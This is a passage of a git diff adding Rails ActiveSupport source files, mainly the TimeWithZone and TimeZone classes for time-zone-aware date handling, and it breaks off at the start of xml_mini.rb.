+    # accuracy when moving across DST boundaries.
+    #
+    # For instance, <tt>time.ago(24.hours)</tt> will move back exactly 24 hours,
+    # while <tt>time.ago(1.day)</tt> will move back 23-25 hours, depending on
+    # the day.
+    #
+    #   now.ago(24.hours)   # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
+    #   now.ago(1.day)      # => Sun, 02 Nov 2014 00:26:28 EDT -04:00
+    def ago(other)
+      since(-other)
+    end
+
+    # Returns a new +ActiveSupport::TimeWithZone+ where one or more of the elements have
+    # been changed according to the +options+ parameter. The time options (<tt>:hour</tt>,
+    # <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly,
+    # so if only the hour is passed, then minute, sec, usec and nsec is set to 0. If the
+    # hour and minute is passed, then sec, usec and nsec is set to 0. The +options+
+    # parameter takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>,
+    # <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>,
+    # <tt>:nsec</tt>, <tt>:offset</tt>, <tt>:zone</tt>. Pass either <tt>:usec</tt>
+    # or <tt>:nsec</tt>, not both. Similarly, pass either <tt>:zone</tt> or
+    # <tt>:offset</tt>, not both.
+    #
+    #   t = Time.zone.now          # => Fri, 14 Apr 2017 11:45:15 EST -05:00
+    #   t.change(year: 2020)       # => Tue, 14 Apr 2020 11:45:15 EST -05:00
+    #   t.change(hour: 12)         # => Fri, 14 Apr 2017 12:00:00 EST -05:00
+    #   t.change(min: 30)          # => Fri, 14 Apr 2017 11:30:00 EST -05:00
+    #   t.change(offset: "-10:00") # => Fri, 14 Apr 2017 11:45:15 HST -10:00
+    #   t.change(zone: "Hawaii")   # => Fri, 14 Apr 2017 11:45:15 HST -10:00
+    def change(options)
+      if options[:zone] && options[:offset]
+        raise ArgumentError, "Can't change both :offset and :zone at the same time: #{options.inspect}"
+      end
+
+      new_time = time.change(options)
+
+      if options[:zone]
+        new_zone = ::Time.find_zone(options[:zone])
+      elsif options[:offset]
+        new_zone = ::Time.find_zone(new_time.utc_offset)
+      end
+
+      new_zone ||= time_zone
+      periods = new_zone.periods_for_local(new_time)
+
+      self.class.new(nil, new_zone, new_time, periods.include?(period) ? period : nil)
+    end
+
+    # Uses Date to provide precise Time calculations for years, months, and days
+    # according to the proleptic Gregorian calendar. The result is returned as a
+    # new TimeWithZone object.
+    #
+    # The +options+ parameter takes a hash with any of these keys:
+    # <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>,
+    # <tt>:hours</tt>, <tt>:minutes</tt>, <tt>:seconds</tt>.
+    #
+    # If advancing by a value of variable length (i.e., years, weeks, months,
+    # days), move forward from #time, otherwise move forward from #utc, for
+    # accuracy when moving across DST boundaries.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
+    #   now.advance(seconds: 1) # => Sun, 02 Nov 2014 01:26:29 EDT -04:00
+    #   now.advance(minutes: 1) # => Sun, 02 Nov 2014 01:27:28 EDT -04:00
+    #   now.advance(hours: 1)   # => Sun, 02 Nov 2014 01:26:28 EST -05:00
+    #   now.advance(days: 1)    # => Mon, 03 Nov 2014 01:26:28 EST -05:00
+    #   now.advance(weeks: 1)   # => Sun, 09 Nov 2014 01:26:28 EST -05:00
+    #   now.advance(months: 1)  # => Tue, 02 Dec 2014 01:26:28 EST -05:00
+    #   now.advance(years: 1)   # => Mon, 02 Nov 2015 01:26:28 EST -05:00
+    def advance(options)
+      # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
+      # otherwise advance from #utc, for accuracy when moving across DST boundaries
+      if options.values_at(:years, :weeks, :months, :days).any?
+        method_missing(:advance, options)
+      else
+        utc.advance(options).in_time_zone(time_zone)
+      end
+    end
+
+    %w(year mon month day mday wday yday hour min sec usec nsec to_date).each do |method_name|
+      class_eval <<-EOV, __FILE__, __LINE__ + 1
+        def #{method_name}    # def month
+          time.#{method_name} #   time.month
+        end                   # end
+      EOV
+    end
+
+    # Returns Array of parts of Time in sequence of
+    # [seconds, minutes, hours, day, month, year, weekday, yearday, dst?, zone].
+    #
+    #   now = Time.zone.now     # => Tue, 18 Aug 2015 02:29:27 UTC +00:00
+    #   now.to_a                # => [27, 29, 2, 18, 8, 2015, 2, 230, false, "UTC"]
+    def to_a
+      [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
+    end
+
+    # Returns the object's date and time as a floating point number of seconds
+    # since the Epoch (January 1, 1970 00:00 UTC).
+    #
+    #   Time.zone.now.to_f # => 1417709320.285418
+    def to_f
+      utc.to_f
+    end
+
+    # Returns the object's date and time as an integer number of seconds
+    # since the Epoch (January 1, 1970 00:00 UTC).
+    #
+    #   Time.zone.now.to_i # => 1417709320
+    def to_i
+      utc.to_i
+    end
+    alias_method :tv_sec, :to_i
+
+    # Returns the object's date and time as a rational number of seconds
+    # since the Epoch (January 1, 1970 00:00 UTC).
+    #
+    #   Time.zone.now.to_r # => (708854548642709/500000)
+    def to_r
+      utc.to_r
+    end
+
+    # Returns an instance of DateTime with the timezone's UTC offset
+    #
+    #   Time.zone.now.to_datetime                         # => Tue, 18 Aug 2015 02:32:20 +0000
+    #   Time.current.in_time_zone('Hawaii').to_datetime   # => Mon, 17 Aug 2015 16:32:20 -1000
+    def to_datetime
+      @to_datetime ||= utc.to_datetime.new_offset(Rational(utc_offset, 86_400))
+    end
+
+    # Returns an instance of +Time+, either with the same UTC offset
+    # as +self+ or in the local system timezone depending on the setting
+    # of +ActiveSupport.to_time_preserves_timezone+.
+    def to_time
+      if preserve_timezone
+        @to_time_with_instance_offset ||= getlocal(utc_offset)
+      else
+        @to_time_with_system_offset ||= getlocal
+      end
+    end
+
+    # So that +self+ <tt>acts_like?(:time)</tt>.
+    def acts_like_time?
+      true
+    end
+
+    # Say we're a Time to thwart type checking.
+    def is_a?(klass)
+      klass == ::Time || super
+    end
+    alias_method :kind_of?, :is_a?
+
+    # An instance of ActiveSupport::TimeWithZone is never blank
+    def blank?
+      false
+    end
+
+    def freeze
+      # preload instance variables before freezing
+      period; utc; time; to_datetime; to_time
+      super
+    end
+
+    def marshal_dump
+      [utc, time_zone.name, time]
+    end
+
+    def marshal_load(variables)
+      initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
+    end
+
+    # respond_to_missing? is not called in some cases, such as when type conversion is
+    # performed with Kernel#String
+    def respond_to?(sym, include_priv = false)
+      # ensure that we're not going to throw and rescue from NoMethodError in method_missing which is slow
+      return false if sym.to_sym == :to_str
+      super
+    end
+
+    # Ensure proxy class responds to all methods that underlying time instance
+    # responds to.
+    def respond_to_missing?(sym, include_priv)
+      return false if sym.to_sym == :acts_like_date?
+      time.respond_to?(sym, include_priv)
+    end
+
+    # Send the missing method to +time+ instance, and wrap result in a new
+    # TimeWithZone with the existing +time_zone+.
+    def method_missing(sym, *args, &block)
+      wrap_with_time_zone time.__send__(sym, *args, &block)
+    rescue NoMethodError => e
+      raise e, e.message.sub(time.inspect, inspect), e.backtrace
+    end
+
+    private
+      def get_period_and_ensure_valid_local_time(period)
+        # we don't want a Time.local instance enforcing its own DST rules as well,
+        # so transfer time values to a utc constructor if necessary
+        @time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
+        begin
+          period || @time_zone.period_for_local(@time)
+        rescue ::TZInfo::PeriodNotFound
+          # time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
+          @time += 1.hour
+          retry
+        end
+      end
+
+      def transfer_time_values_to_utc_constructor(time)
+        # avoid creating another Time object if possible
+        return time if time.instance_of?(::Time) && time.utc?
+        ::Time.utc(time.year, time.month, time.day, time.hour, time.min, time.sec + time.subsec)
+      end
+
+      def duration_of_variable_length?(obj)
+        ActiveSupport::Duration === obj && obj.parts.any? { |p| [:years, :months, :weeks, :days].include?(p[0]) }
+      end
+
+      def wrap_with_time_zone(time)
+        if time.acts_like?(:time)
+          periods = time_zone.periods_for_local(time)
+          self.class.new(nil, time_zone, time, periods.include?(period) ? period : nil)
+        elsif time.is_a?(Range)
+          wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
+        else
+          time
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
new file mode 100644
index 0000000000..c871f11422
--- /dev/null
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -0,0 +1,555 @@
+# frozen_string_literal: true
+
+require "tzinfo"
+require "concurrent/map"
+require_relative "../core_ext/object/blank"
+
+module ActiveSupport
+  # The TimeZone class serves as a wrapper around TZInfo::Timezone instances.
+  # It allows us to do the following:
+  #
+  # * Limit the set of zones provided by TZInfo to a meaningful subset of 134
+  #   zones.
+  # * Retrieve and display zones with a friendlier name
+  #   (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
+  # * Lazily load TZInfo::Timezone instances only when they're needed.
+  # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+,
+  #   +parse+, +at+ and +now+ methods.
+  #
+  # If you set <tt>config.time_zone</tt> in the Rails Application, you can
+  # access this TimeZone object via <tt>Time.zone</tt>:
+  #
+  #   # application.rb:
+  #   class Application < Rails::Application
+  #     config.time_zone = 'Eastern Time (US & Canada)'
+  #   end
+  #
+  #   Time.zone      # => #<ActiveSupport::TimeZone:0x514834...>
+  #   Time.zone.name # => "Eastern Time (US & Canada)"
+  #   Time.zone.now  # => Sun, 18 May 2008 14:30:44 EDT -04:00
+  class TimeZone
+    # Keys are Rails TimeZone names, values are TZInfo identifiers.
+    MAPPING = {
+      "International Date Line West" => "Pacific/Midway",
+      "Midway Island"                => "Pacific/Midway",
+      "American Samoa"               => "Pacific/Pago_Pago",
+      "Hawaii"                       => "Pacific/Honolulu",
+      "Alaska"                       => "America/Juneau",
+      "Pacific Time (US & Canada)"   => "America/Los_Angeles",
+      "Tijuana"                      => "America/Tijuana",
+      "Mountain Time (US & Canada)"  => "America/Denver",
+      "Arizona"                      => "America/Phoenix",
+      "Chihuahua"                    => "America/Chihuahua",
+      "Mazatlan"                     => "America/Mazatlan",
+      "Central Time (US & Canada)"   => "America/Chicago",
+      "Saskatchewan"                 => "America/Regina",
+      "Guadalajara"                  => "America/Mexico_City",
+      "Mexico City"                  => "America/Mexico_City",
+      "Monterrey"                    => "America/Monterrey",
+      "Central America"              => "America/Guatemala",
+      "Eastern Time (US & Canada)"   => "America/New_York",
+      "Indiana (East)"               => "America/Indiana/Indianapolis",
+      "Bogota"                       => "America/Bogota",
+      "Lima"                         => "America/Lima",
+      "Quito"                        => "America/Lima",
+      "Atlantic Time (Canada)"       => "America/Halifax",
+      "Caracas"                      => "America/Caracas",
+      "La Paz"                       => "America/La_Paz",
+      "Santiago"                     => "America/Santiago",
+      "Newfoundland"                 => "America/St_Johns",
+      "Brasilia"                     => "America/Sao_Paulo",
+      "Buenos Aires"                 => "America/Argentina/Buenos_Aires",
+      "Montevideo"                   => "America/Montevideo",
+      "Georgetown"                   => "America/Guyana",
+      "Puerto Rico"                  => "America/Puerto_Rico",
+      "Greenland"                    => "America/Godthab",
+      "Mid-Atlantic"                 => "Atlantic/South_Georgia",
+      "Azores"                       => "Atlantic/Azores",
+      "Cape Verde Is."               => "Atlantic/Cape_Verde",
+      "Dublin"                       => "Europe/Dublin",
+      "Edinburgh"                    => "Europe/London",
+      "Lisbon"                       => "Europe/Lisbon",
+      "London"                       => "Europe/London",
+      "Casablanca"                   => "Africa/Casablanca",
+      "Monrovia"                     => "Africa/Monrovia",
+      "UTC"                          => "Etc/UTC",
+      "Belgrade"                     => "Europe/Belgrade",
+      "Bratislava"                   => "Europe/Bratislava",
+      "Budapest"                     => "Europe/Budapest",
+      "Ljubljana"                    => "Europe/Ljubljana",
+      "Prague"                       => "Europe/Prague",
+      "Sarajevo"                     => "Europe/Sarajevo",
+      "Skopje"                       => "Europe/Skopje",
+      "Warsaw"                       => "Europe/Warsaw",
+      "Zagreb"                       => "Europe/Zagreb",
+      "Brussels"                     => "Europe/Brussels",
+      "Copenhagen"                   => "Europe/Copenhagen",
+      "Madrid"                       => "Europe/Madrid",
+      "Paris"                        => "Europe/Paris",
+      "Amsterdam"                    => "Europe/Amsterdam",
+      "Berlin"                       => "Europe/Berlin",
+      "Bern"                         => "Europe/Zurich",
+      "Zurich"                       => "Europe/Zurich",
+      "Rome"                         => "Europe/Rome",
+      "Stockholm"                    => "Europe/Stockholm",
+      "Vienna"                       => "Europe/Vienna",
+      "West Central Africa"          => "Africa/Algiers",
+      "Bucharest"                    => "Europe/Bucharest",
+      "Cairo"                        => "Africa/Cairo",
+      "Helsinki"                     => "Europe/Helsinki",
+      "Kyiv"                         => "Europe/Kiev",
+      "Riga"                         => "Europe/Riga",
+      "Sofia"                        => "Europe/Sofia",
+      "Tallinn"                      => "Europe/Tallinn",
+      "Vilnius"                      => "Europe/Vilnius",
+      "Athens"                       => "Europe/Athens",
+      "Istanbul"                     => "Europe/Istanbul",
+      "Minsk"                        => "Europe/Minsk",
+      "Jerusalem"                    => "Asia/Jerusalem",
+      "Harare"                       => "Africa/Harare",
+      "Pretoria"                     => "Africa/Johannesburg",
+      "Kaliningrad"                  => "Europe/Kaliningrad",
+      "Moscow"                       => "Europe/Moscow",
+      "St. Petersburg"               => "Europe/Moscow",
+      "Volgograd"                    => "Europe/Volgograd",
+      "Samara"                       => "Europe/Samara",
+      "Kuwait"                       => "Asia/Kuwait",
+      "Riyadh"                       => "Asia/Riyadh",
+      "Nairobi"                      => "Africa/Nairobi",
+      "Baghdad"                      => "Asia/Baghdad",
+      "Tehran"                       => "Asia/Tehran",
+      "Abu Dhabi"                    => "Asia/Muscat",
+      "Muscat"                       => "Asia/Muscat",
+      "Baku"                         => "Asia/Baku",
+      "Tbilisi"                      => "Asia/Tbilisi",
+      "Yerevan"                      => "Asia/Yerevan",
+      "Kabul"                        => "Asia/Kabul",
+      "Ekaterinburg"                 => "Asia/Yekaterinburg",
+      "Islamabad"                    => "Asia/Karachi",
+      "Karachi"                      => "Asia/Karachi",
+      "Tashkent"                     => "Asia/Tashkent",
+      "Chennai"                      => "Asia/Kolkata",
+      "Kolkata"                      => "Asia/Kolkata",
+      "Mumbai"                       => "Asia/Kolkata",
+      "New Delhi"                    => "Asia/Kolkata",
+      "Kathmandu"                    => "Asia/Kathmandu",
+      "Astana"                       => "Asia/Dhaka",
+      "Dhaka"                        => "Asia/Dhaka",
+      "Sri Jayawardenepura"          => "Asia/Colombo",
+      "Almaty"                       => "Asia/Almaty",
+      "Novosibirsk"                  => "Asia/Novosibirsk",
+      "Rangoon"                      => "Asia/Rangoon",
+      "Bangkok"                      => "Asia/Bangkok",
+      "Hanoi"                        => "Asia/Bangkok",
+      "Jakarta"                      => "Asia/Jakarta",
+      "Krasnoyarsk"                  => "Asia/Krasnoyarsk",
+      "Beijing"                      => "Asia/Shanghai",
+      "Chongqing"                    => "Asia/Chongqing",
+      "Hong Kong"                    => "Asia/Hong_Kong",
+      "Urumqi"                       => "Asia/Urumqi",
+      "Kuala Lumpur"                 => "Asia/Kuala_Lumpur",
+      "Singapore"                    => "Asia/Singapore",
+      "Taipei"                       => "Asia/Taipei",
+      "Perth"                        => "Australia/Perth",
+      "Irkutsk"                      => "Asia/Irkutsk",
+      "Ulaanbaatar"                  => "Asia/Ulaanbaatar",
+      "Seoul"                        => "Asia/Seoul",
+      "Osaka"                        => "Asia/Tokyo",
+      "Sapporo"                      => "Asia/Tokyo",
+      "Tokyo"                        => "Asia/Tokyo",
+      "Yakutsk"                      => "Asia/Yakutsk",
+      "Darwin"                       => "Australia/Darwin",
+      "Adelaide"                     => "Australia/Adelaide",
+      "Canberra"                     => "Australia/Melbourne",
+      "Melbourne"                    => "Australia/Melbourne",
+      "Sydney"                       => "Australia/Sydney",
+      "Brisbane"                     => "Australia/Brisbane",
+      "Hobart"                       => "Australia/Hobart",
+      "Vladivostok"                  => "Asia/Vladivostok",
+      "Guam"                         => "Pacific/Guam",
+      "Port Moresby"                 => "Pacific/Port_Moresby",
+      "Magadan"                      => "Asia/Magadan",
+      "Srednekolymsk"                => "Asia/Srednekolymsk",
+      "Solomon Is."                  => "Pacific/Guadalcanal",
+      "New Caledonia"                => "Pacific/Noumea",
+      "Fiji"                         => "Pacific/Fiji",
+      "Kamchatka"                    => "Asia/Kamchatka",
+      "Marshall Is."                 => "Pacific/Majuro",
+      "Auckland"                     => "Pacific/Auckland",
+      "Wellington"                   => "Pacific/Auckland",
+      "Nuku'alofa"                   => "Pacific/Tongatapu",
+      "Tokelau Is."                  => "Pacific/Fakaofo",
+      "Chatham Is."                  => "Pacific/Chatham",
+      "Samoa"                        => "Pacific/Apia"
+    }
+
+    UTC_OFFSET_WITH_COLON = "%s%02d:%02d"
+    UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.tr(":", "")
+
+    @lazy_zones_map = Concurrent::Map.new
+    @country_zones  = Concurrent::Map.new
+
+    class << self
+      # Assumes self represents an offset from UTC in seconds (as returned from
+      # Time#utc_offset) and turns this into an +HH:MM formatted string.
+      #
+      #   ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
+      def seconds_to_utc_offset(seconds, colon = true)
+        format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
+        sign = (seconds < 0 ? "-" : "+")
+        hours = seconds.abs / 3600
+        minutes = (seconds.abs % 3600) / 60
+        format % [sign, hours, minutes]
+      end
+
+      def find_tzinfo(name)
+        TZInfo::Timezone.new(MAPPING[name] || name)
+      end
+
+      alias_method :create, :new
+
+      # Returns a TimeZone instance with the given name, or +nil+ if no
+      # such TimeZone instance exists. (This exists to support the use of
+      # this class with the +composed_of+ macro.)
+      def new(name)
+        self[name]
+      end
+
+      # Returns an array of all TimeZone objects. There are multiple
+      # TimeZone objects per time zone, in many cases, to make it easier
+      # for users to find their own time zone.
+      def all
+        @zones ||= zones_map.values.sort
+      end
+
+      # Locate a specific time zone object. If the argument is a string, it
+      # is interpreted to mean the name of the timezone to locate. If it is a
+      # numeric value it is either the hour offset, or the second offset, of the
+      # timezone to find. (The first one with that offset will be returned.)
+      # Returns +nil+ if no such time zone is known to the system.
+      def [](arg)
+        case arg
+        when String
+          begin
+            @lazy_zones_map[arg] ||= create(arg)
+          rescue TZInfo::InvalidTimezoneIdentifier
+            nil
+          end
+        when Numeric, ActiveSupport::Duration
+          arg *= 3600 if arg.abs <= 13
+          all.find { |z| z.utc_offset == arg.to_i }
+          else
+          raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
+        end
+      end
+
+      # A convenience method for returning a collection of TimeZone objects
+      # for time zones in the USA.
+      def us_zones
+        country_zones(:us)
+      end
+
+      # A convenience method for returning a collection of TimeZone objects
+      # for time zones in the country specified by its ISO 3166-1 Alpha2 code.
+      def country_zones(country_code)
+        code = country_code.to_s.upcase
+        @country_zones[code] ||= load_country_zones(code)
+      end
+
+      private
+        def load_country_zones(code)
+          country = TZInfo::Country.get(code)
+          country.zone_identifiers.map do |tz_id|
+            if MAPPING.value?(tz_id)
+              self[MAPPING.key(tz_id)]
+            else
+              create(tz_id, nil, TZInfo::Timezone.new(tz_id))
+            end
+          end.sort!
+        end
+
+        def zones_map
+          @zones_map ||= begin
+            MAPPING.each_key { |place| self[place] } # load all the zones
+            @lazy_zones_map
+          end
+        end
+    end
+
+    include Comparable
+    attr_reader :name
+    attr_reader :tzinfo
+
+    # Create a new TimeZone object with the given name and offset. The
+    # offset is the number of seconds that this time zone is offset from UTC
+    # (GMT). Seconds were chosen as the offset unit because that is the unit
+    # that Ruby uses to represent time zone offsets (see Time#utc_offset).
+    def initialize(name, utc_offset = nil, tzinfo = nil)
+      @name = name
+      @utc_offset = utc_offset
+      @tzinfo = tzinfo || TimeZone.find_tzinfo(name)
+    end
+
+    # Returns the offset of this time zone from UTC in seconds.
+    def utc_offset
+      if @utc_offset
+        @utc_offset
+      else
+        tzinfo.current_period.utc_offset if tzinfo && tzinfo.current_period
+      end
+    end
+
+    # Returns a formatted string of the offset from UTC, or an alternative
+    # string if the time zone is already UTC.
+    #
+    #   zone = ActiveSupport::TimeZone['Central Time (US & Canada)']
+    #   zone.formatted_offset        # => "-06:00"
+    #   zone.formatted_offset(false) # => "-0600"
+    def formatted_offset(colon = true, alternate_utc_string = nil)
+      utc_offset == 0 && alternate_utc_string || self.class.seconds_to_utc_offset(utc_offset, colon)
+    end
+
+    # Compare this time zone to the parameter. The two are compared first on
+    # their offsets, and then by name.
+    def <=>(zone)
+      return unless zone.respond_to? :utc_offset
+      result = (utc_offset <=> zone.utc_offset)
+      result = (name <=> zone.name) if result == 0
+      result
+    end
+
+    # Compare #name and TZInfo identifier to a supplied regexp, returning +true+
+    # if a match is found.
+    def =~(re)
+      re === name || re === MAPPING[name]
+    end
+
+    # Returns a textual representation of this time zone.
+    def to_s
+      "(GMT#{formatted_offset}) #{name}"
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from given values.
+    #
+    #   Time.zone = 'Hawaii'                    # => "Hawaii"
+    #   Time.zone.local(2007, 2, 1, 15, 30, 45) # => Thu, 01 Feb 2007 15:30:45 HST -10:00
+    def local(*args)
+      time = Time.utc(*args)
+      ActiveSupport::TimeWithZone.new(nil, self, time)
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from number of seconds since the Unix epoch.
+    #
+    #   Time.zone = 'Hawaii'        # => "Hawaii"
+    #   Time.utc(2000).to_f         # => 946684800.0
+    #   Time.zone.at(946684800.0)   # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    def at(secs)
+      Time.at(secs).utc.in_time_zone(self)
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from an ISO 8601 string.
+    #
+    #   Time.zone = 'Hawaii'                     # => "Hawaii"
+    #   Time.zone.iso8601('1999-12-31T14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If the time components are missing then they will be set to zero.
+    #
+    #   Time.zone = 'Hawaii'            # => "Hawaii"
+    #   Time.zone.iso8601('1999-12-31') # => Fri, 31 Dec 1999 00:00:00 HST -10:00
+    #
+    # If the string is invalid then an +ArgumentError+ will be raised unlike +parse+
+    # which usually returns +nil+ when given an invalid date string.
+    def iso8601(str)
+      parts = Date._iso8601(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      time = Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour, 0),
+        parts.fetch(:min, 0),
+        parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset, 0)
+      )
+
+      if parts[:offset]
+        TimeWithZone.new(time.utc, self)
+      else
+        TimeWithZone.new(nil, self, time)
+      end
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from parsed string.
+    #
+    #   Time.zone = 'Hawaii'                   # => "Hawaii"
+    #   Time.zone.parse('1999-12-31 14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If upper components are missing from the string, they are supplied from
+    # TimeZone#now:
+    #
+    #   Time.zone.now               # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #   Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+    #
+    # However, if the date component is not provided, but any other upper
+    # components are supplied, then the day of the month defaults to 1:
+    #
+    #   Time.zone.parse('Mar 2000') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+    #
+    # If the string is invalid then an +ArgumentError+ could be raised.
+    def parse(str, now = now())
+      parts_to_time(Date._parse(str, false), now)
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from an RFC 3339 string.
+    #
+    #   Time.zone = 'Hawaii'                     # => "Hawaii"
+    #   Time.zone.rfc3339('2000-01-01T00:00:00Z') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If the time or zone components are missing then an +ArgumentError+ will
+    # be raised. This is much stricter than either +parse+ or +iso8601+ which
+    # allow for missing components.
+    #
+    #   Time.zone = 'Hawaii'            # => "Hawaii"
+    #   Time.zone.rfc3339('1999-12-31') # => ArgumentError: invalid date
+    def rfc3339(str)
+      parts = Date._rfc3339(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      time = Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour),
+        parts.fetch(:min),
+        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset)
+      )
+
+      TimeWithZone.new(time.utc, self)
+    end
+
+    # Parses +str+ according to +format+ and returns an ActiveSupport::TimeWithZone.
+    #
+    # Assumes that +str+ is a time in the time zone +self+,
+    # unless +format+ includes an explicit time zone.
+    # (This is the same behavior as +parse+.)
+    # In either case, the returned TimeWithZone has the timezone of +self+.
+    #
+    #   Time.zone = 'Hawaii'                   # => "Hawaii"
+    #   Time.zone.strptime('1999-12-31 14:00:00', '%Y-%m-%d %H:%M:%S') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If upper components are missing from the string, they are supplied from
+    # TimeZone#now:
+    #
+    #   Time.zone.now                              # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #   Time.zone.strptime('22:30:00', '%H:%M:%S') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+    #
+    # However, if the date component is not provided, but any other upper
+    # components are supplied, then the day of the month defaults to 1:
+    #
+    #   Time.zone.strptime('Mar 2000', '%b %Y') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+    def strptime(str, format, now = now())
+      parts_to_time(DateTime._strptime(str, format), now)
+    end
+
+    # Returns an ActiveSupport::TimeWithZone instance representing the current
+    # time in the time zone represented by +self+.
+    #
+    #   Time.zone = 'Hawaii'  # => "Hawaii"
+    #   Time.zone.now         # => Wed, 23 Jan 2008 20:24:27 HST -10:00
+    def now
+      time_now.utc.in_time_zone(self)
+    end
+
+    # Returns the current date in this time zone.
+    def today
+      tzinfo.now.to_date
+    end
+
+    # Returns the next date in this time zone.
+    def tomorrow
+      today + 1
+    end
+
+    # Returns the previous date in this time zone.
+    def yesterday
+      today - 1
+    end
+
+    # Adjust the given time to the simultaneous time in the time zone
+    # represented by +self+. Returns a Time.utc() instance -- if you want an
+    # ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
+    def utc_to_local(time)
+      tzinfo.utc_to_local(time)
+    end
+
+    # Adjust the given time to the simultaneous time in UTC. Returns a
+    # Time.utc() instance.
+    def local_to_utc(time, dst = true)
+      tzinfo.local_to_utc(time, dst)
+    end
+
+    # Available so that TimeZone instances respond like TZInfo::Timezone
+    # instances.
+    def period_for_utc(time)
+      tzinfo.period_for_utc(time)
+    end
+
+    # Available so that TimeZone instances respond like TZInfo::Timezone
+    # instances.
+    def period_for_local(time, dst = true)
+      tzinfo.period_for_local(time, dst)
+    end
+
+    def periods_for_local(time) #:nodoc:
+      tzinfo.periods_for_local(time)
+    end
+
+    def init_with(coder) #:nodoc:
+      initialize(coder["name"])
+    end
+
+    def encode_with(coder) #:nodoc:
+      coder.tag = "!ruby/object:#{self.class}"
+      coder.map = { "name" => tzinfo.name }
+    end
+
+    private
+      def parts_to_time(parts, now)
+        raise ArgumentError, "invalid date" if parts.nil?
+        return if parts.empty?
+
+        if parts[:seconds]
+          time = Time.at(parts[:seconds])
+        else
+          time = Time.new(
+            parts.fetch(:year, now.year),
+            parts.fetch(:mon, now.month),
+            parts.fetch(:mday, parts[:year] || parts[:mon] ? 1 : now.day),
+            parts.fetch(:hour, 0),
+            parts.fetch(:min, 0),
+            parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+            parts.fetch(:offset, 0)
+          )
+        end
+
+        if parts[:offset] || parts[:seconds]
+          TimeWithZone.new(time.utc, self)
+        else
+          TimeWithZone.new(nil, self, time)
+        end
+      end
+
+      def time_now
+        Time.now
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
new file mode 100644
index 0000000000..f7d9c48bbe
--- /dev/null
+++ b/activesupport/lib/active_support/values/unicode_tables.dat
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
new file mode 100644
index 0000000000..928838c837
--- /dev/null
+++ b/activesupport/lib/active_support/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActiveSupport
+  # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
new file mode 100644
index 0000000000..d49ee4508e
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -0,0 +1,209 @@
+# frozen_string_literal: true
+
+require "time"
+require "base64"
+require "bigdecimal"
+require_relative "core_ext/module/delegation"
+require_relative "core_ext/string/inflections"
+require_relative "core_ext/date_time/calculations"
+
+module ActiveSupport
+  # = XmlMini
+  #
+  # To use the much faster libxml parser:
+  #   gem 'libxml-ruby', '=0.9.7'
+  #   XmlMini.backend = 'LibXML'
+  module XmlMini
+    extend self
+
+    # This module decorates files deserialized using Hash.from_xml with
+    # the <tt>original_filename</tt> and <tt>content_type</tt> methods.
+    module FileLike #:nodoc:
+      attr_writer :original_filename, :content_type
+
+      def original_filename
